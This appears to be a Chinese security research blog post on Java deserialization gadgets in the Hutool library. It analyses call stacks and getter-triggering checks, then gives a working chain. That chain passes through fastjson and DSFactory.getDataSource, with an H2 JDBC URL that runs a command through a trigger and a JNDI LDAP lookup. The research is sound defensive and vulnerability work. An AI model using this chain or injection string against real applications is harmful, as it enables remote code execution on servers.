0x01 简介 Hutool
是一个功能丰富且易用的Java工具库 ,通过诸多实用工具类的使用,旨在帮助开发者快速、便捷地完成各类开发任务。 这些封装的工具涵盖了字符串、数字、集合、编码、日期、文件、IO、加密、数据库JDBC、JSON、HTTP客户端等一系列操作, 可以满足各种不同的开发需求。github地址 https://github.com/dromara/hutool
0x02 测试demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package com.jsonser;import cn.hutool.json.JSONObject;import com.fasterxml.jackson.databind.ObjectMapper;import com.utils.utils;public class jacksonTest { public static class Message { int code; String detail; Object data; public Message () { } public void setCode (int code) { System.out.println("setCode" ); this .code = code; } public void setDetail (String detail) { System.out.println("setdetail" ); this .detail = detail; } public void setData (Object data) { System.out.println("setdata" ); this .data = data; } public int getCode () { System.out.println("getCode" ); return this .code; } public String getDetail () { System.out.println("getDetail" ); return this .detail; } public Object getData () throws Exception{ System.out.println("getData" ); System.out.println(this ); return this .data; } public Message (int code, String detail) { this .code = code; this .detail = detail; } public Message (int code, String detail, Object data) { this .code = code; this .detail = detail; this .data = data; } } public static void main (String[] args) throws Exception { Message message = new Message (); utils.setFieldValue(message, "code" , 1 ); utils.setFieldValue(message, "detail" , "hello world" ); utils.setFieldValue(message, "data" , "data" ); ObjectMapper objectMapper = new ObjectMapper (); JSONObject entries = new JSONObject (); entries.put("code" , message); } }
这里编写一个demo(以前复制的,不知道是从枫还是木头大哥哪里复制的),来测试用hutool的时候,javabean的触发方式 。
这里看到在使用hutool,json序列化的时候是能触发javabean的getter方法的。所以是不是也可以和jackson或者fastjson一样用来做gadget了?
0x03 序列化分析 这里在Message类中,随便找一个getter下断点,进行分析
完整调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 getData:42 , jacksonTest$Message (com.jsonser) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeRaw:1085 , ReflectUtil (cn.hutool.core.util) invoke:1016 , ReflectUtil (cn.hutool.core.util) getValue:155 , PropDesc (cn.hutool.core.bean) lambda$copy$0 :66 , BeanToMapCopier (cn.hutool.core.bean.copier) accept:-1 , 1826699684 (cn.hutool.core.bean.copier.BeanToMapCopier$$Lambda$13 ) forEach:676 , LinkedHashMap (java.util) copy:48 , BeanToMapCopier (cn.hutool.core.bean.copier) copy:16 , BeanToMapCopier (cn.hutool.core.bean.copier) copy:92 , BeanCopier (cn.hutool.core.bean.copier) beanToMap:737 , BeanUtil (cn.hutool.core.bean) mapFromBean:264 , ObjectMapper (cn.hutool.json) map:114 , ObjectMapper (cn.hutool.json) <init>:210 , JSONObject (cn.hutool.json) <init>:187 , JSONObject (cn.hutool.json) wrap:811 , JSONUtil (cn.hutool.json) set:393 , JSONObject (cn.hutool.json) set:352 , JSONObject (cn.hutool.json) put:340 , JSONObject (cn.hutool.json) main:70 , jacksonTest (com.jsonser)
JsonArray类似,都是走JSONUtil.wrap。 那我们直接来看
cn.hutool.json.JSONUtil#wrap
这里主要就是判断我们在JSONObject.put进来的对象的原始类型是不是这几个类型。
我们穿的对象,肯定是不符合上面的几个原始类型,直接看这一行就好。
看到这里有个判断cn.hutool.core.util.ClassUtil#isJdkClass
它会判断我们序列化的类是不是jdk的原始类。这里最强的就是clazz.getClassLoader(),我们知道jdk类是不在classload上下文中,这条判断相当于绝杀了。直接把jdbcrow,tempalte,LdapAttribute, SignedObject 等直接杀掉了。这些gadgegt尾巴相当于全部gg。
是jdk类就直接返回obj.tostrng。不是就实例化一个JSONObject对象
实例化会调用
cn.hutool.json.JSONObject#JSONObject(java.lang.Object, cn.hutool.json.JSONConfig, cn.hutool.core.lang.Filter<cn.hutool.core.lang.mutable.MutablePair<java.lang.String,java.lang.Object>>)
cn.hutool.json.ObjectMapper#map(cn.hutool.json.JSONObject, cn.hutool.core.lang.Filter<cn.hutool.core.lang.mutable.MutablePair<java.lang.String,java.lang.Object>>)
这里就是获取serializer,我们是希望做gadget的,这里肯定都不符合,直接看最后面就好
主要判断有没有getter方法,以及fied是不是public。 显然我们肯定是符合的。
就是就是触发bean到map的过程。
主要就是这个copy方,它会调用下面这个方法。
cn.hutool.core.bean.copier.BeanToMapCopier#copy
它会获取我们传入类的fied,以及对应的getter,setter方法。
最最最最坑的地方到了
cn.hutool.core.bean.PropDesc#isReadable
它会调用这个傻逼方法判断这个fied是不是public,有没有对应的getter方法,还判断了fied是不是TRANSIENT修饰,超级无语了,进不去就触发不了getter。
如果幸运走到里面,那么就来到触发点了
无参数getter方法。
已上感觉,就是限制的太死了,暂时想不到能用hutool做gadget去触发getter。太难了,主要这傻逼是fied的前面加get,还有public,说实话很难利用。
0x04 测试demo 其实通过以上分析,不让发现触发点事new JSONObject,这样就可以绕调限制原生jdk的类了。
template 直接写一个template测试
来到 BeanUtil.getBeanDesc(actualEditable).getPropMap(this.copyOptions.ignoreCase)
可以看到获取template所有fied,但是这些fied是有没有对应的setter,getter方法
)
然后最绝望的是都是private, 且没后propdesc描述,过不了判断。 根本无法用来组gadget。
LdapAttribute
在来个列子
可以看到,他获取到了是当前类和父类的fied,然后获取propdesc。 并没有获取到getAttributeSyntaxDefinition, 没有这个fied,真是够绝望。
目前最有希望的就是这个
可是这里获取不到getter方法,没有对应的propdesc描述,真的无语,
不知道为什么获取不到,真的傻逼。因为没有对应的getter方法,以及dataSourceName是protected,导致过不了isReadable的判断。
无法走到sDesc.getValue(this.source)
最后打计算器模拟走进去,是能正常触发的。以上,what can i say
总结,要想利用成功,需要触发getter调用的方法有对应的fied,fied不能TRANSIENT修饰,且有propdesc描述,采用调用的希望。
cn.hutool.db.ds.DSFactory
它会调用getDataSource,看他的实现类
cn.hutool.db.ds.AbstractDSFactory#getDataSource
创建jdbc连接
他是一个抽象类,看一下实现
这里有9个,其中6类需要系统有依赖才能使用,
应该构造函数会调用。
在只有hutool的情况下,我们可以使用这三个类进行处罚jdbc/jndi 攻击
1 2 3 4 DSFactory DSFactory; DSFactory = new SimpleDSFactory (setting); DSFactory = new PooledDSFactory (setting); DSFactory = new JndiDSFactory (setting);
他们都需要传一个seting进行构造
我们只要配置jdbcurl就行。
在使用JndiDSFactory要配置jndi。
最后构造就是如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('open -a Calculator')\n" + "$$\n" ;Setting setting = new Setting (); setting.setCharset(null ); setting.set("url" , JDBC_URL); setting.set("jndi" , "ldap://127.0.0.1:80/Object" ); DSFactory DSFactory; DSFactory = new SimpleDSFactory (setting); DSFactory = new PooledDSFactory (setting); DSFactory = new JndiDSFactory (setting);JSONArray array = new JSONArray (); array.add(DSFactory);HashMap hashMap = utils.maskmapToString(array, array); utils.unserialize(utils.serialize(hashMap));
JDBC_URL换任意jdbc都行,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 at cn.hutool.db.DbUtil.getJndiDs(DbUtil.java:167 ) at cn.hutool.db.ds.jndi.JndiDSFactory.createDataSource(JndiDSFactory.java:41 ) at cn.hutool.db.ds.AbstractDSFactory.createDataSource(AbstractDSFactory.java:122 ) at cn.hutool.db.ds.AbstractDSFactory.getDataSource(AbstractDSFactory.java:82 ) at cn.hutool.db.ds.DSFactory.getDataSource(DSFactory.java:62 ) at com.alibaba.fastjson.serializer.ASMSerializer_1_JndiDSFactory.write(Unknown Source) at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:137 ) at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:275 ) at com.alibaba.fastjson.JSON.toJSONString(JSON.java:863 ) at com.alibaba.fastjson.JSON.toString(JSON.java:857 ) at javax.swing.UIDefaults$TextAndMnemonicHashMap.get(UIDefaults.java:1250 ) at java.util.AbstractMap.equals(AbstractMap.java:469 ) at java.util.HashMap.putVal(HashMap.java:634 ) at java.util.HashMap.readObject(HashMap.java:1397 )
最后。下版本加入web-chains
tip rome接不了这个gadgegt,rome获取不到DSFactory.class的property描述,也就无法触发getDataSource。
cb触发不了SimpleDesFactory链,因为cb是指定具体一个的properity,而getDataSource是创建出一个SimpleDataSource对象,创建过程没有触发getConnection,而jacoksn/fjson等序列化时,会多次触发properity的getter,setter触发getConnection(但是jackson的随机getter,不稳定)。
jackson下,SimpleDesFactory链不稳定触发
reference http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/
https://xz.aliyun.com/t/14190
https://github.com/Java-Chains/web-chains